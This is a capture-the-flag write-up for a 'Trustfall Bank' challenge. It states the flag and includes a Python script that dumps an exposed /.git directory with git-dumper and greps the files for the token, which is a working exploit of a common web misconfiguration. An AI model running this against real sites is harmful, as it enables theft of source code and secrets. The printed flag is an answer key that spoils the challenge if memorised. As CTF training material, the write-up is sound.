Trustfall Bank – TOKEN1
Token: PCCC{C0d3_L3ak_mC_5098}
Background
The site exposes /.git. Dumping the repo and grepping config files reveals
the live token in a configuration file.
From Nothing to Working
- Detect
.gitexposure onhttp://trustfallbank.us/.git. - Dump the repo with
git-dumperintotrustfall_dump/. - Checkout files and grep config files for
PCCC{...}to extract the token.
Command
Run from any directory on Kali:
python3 quick_git_token1.py
#!/usr/bin/env python3
# quick_git_token1.py
import os, subprocess, sys, shutil
TARGET = "http://trustfallbank.us/.git"
OUTDIR = "trustfall_dump"
def run(cmd):
print("+", " ".join(cmd))
return subprocess.run(cmd, check=True)
def main():
if shutil.which("git-dumper") is None:
run([sys.executable, "-m", "pip", "install", "git-dumper"])
if os.path.isdir(OUTDIR):
shutil.rmtree(OUTDIR)
run(["git-dumper", TARGET, OUTDIR])
os.chdir(OUTDIR)
subprocess.run(["git", "checkout", "--", "."], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
print("\n[+] Searching config files for token...")
subprocess.run(["find", ".", "-type", "f", "-name", "config*"])
r = subprocess.run(["grep", "-R", "PCCC{", "."], capture_output=True, text=True)
print(r.stdout.strip())
if __name__ == "__main__":
main()
Expected Output
Grep prints the token:
PCCC{C0d3_L3ak_mC_5098}